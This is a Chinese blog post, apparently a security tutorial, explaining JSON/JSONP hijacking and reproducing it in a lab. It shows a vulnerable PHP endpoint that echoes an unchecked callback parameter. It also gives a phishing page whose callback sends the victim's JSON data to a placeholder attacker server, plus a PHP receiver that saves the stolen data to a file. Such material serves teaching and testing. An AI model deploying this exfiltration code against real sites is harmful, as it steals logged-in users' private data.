随笔 - 97  文章 - 0 评论 - 0 阅读 - 23644
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

1. 定义

  JSON是一种轻量级的数据交换格式,而劫持就是对数据进行窃取(或者应该称为打劫、拦截比较合适。恶意攻击者通过某些特定的手段,将本应该返回给用户的JSON数据进行拦截,转而将数据发送回给恶意攻击者,这就是JSON劫持的大概含义。一般来说进行劫持的JSON数据都是包含敏感信息或者有价值的数据。

  攻击方法与csrf类似,都是需要用户登录帐号,身份认证还没有被消除的情况下访问攻击者精心设计好的的页面。就会获取json数据,把json数据发送给攻击者。

  json劫持: JSON劫持漏洞分析_Fly_鹏程万里-CSDN博客_json劫持

  jsonp: JSON与JSONP劫持原理_辰辰啊-CSDN博客

 

2. 漏洞利用(复现

  靶机的json文件代码:

1 <?php
2 header('Content-type: application/json');
3 $callback = $_GET['callback'];
4 print $callback.'({"id" : "1","name" : "moonsec","email":"moon@moonsec.com"});';
5 ?>

 

  钓鱼网站的测试代码(只是在钓鱼网站上弹出):

复制代码
 1 <!DOCTYPE html>
 2 <html lang="en">
 3 <head>
 4     <meta charset="UTF-8">
 5     <title>jsonp劫持</title>
 6     <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
 7 </head>
 8 <body>
 9 <script>function jsonp2(data){alert(JSON.stringify(data));}</script>
10 <script src="靶机/json.php?callback=jsonp2"></script>
11 </body>
12 </html>
复制代码

  钓鱼网站上的劫持代码:

复制代码
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title></title>
        
        <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
<script>
function test(data){
    //alert(v.name);
    var xmlhttp = new XMLHttpRequest();
    var url = "http://后端接收ip/1.php?file=" + JSON.stringify(data);
    xmlhttp.open("GET",url,true);
    xmlhttp.send();
    }
</script>
<script src="靶机/json.php?callback=test"></script>
</head>
    <body>
    </body>
</html>
复制代码

  后端接收的代码(1.php):

1 <?php
2 if($_GET['file']){
3     file_put_contents('json.txt',$_GET['file'])
4 }
5 ?>

 

  

posted on   EndlessShw  阅读(970)  评论(0编辑  收藏  举报
编辑推荐:
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行:
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!
点击右上角即可分享
微信分享提示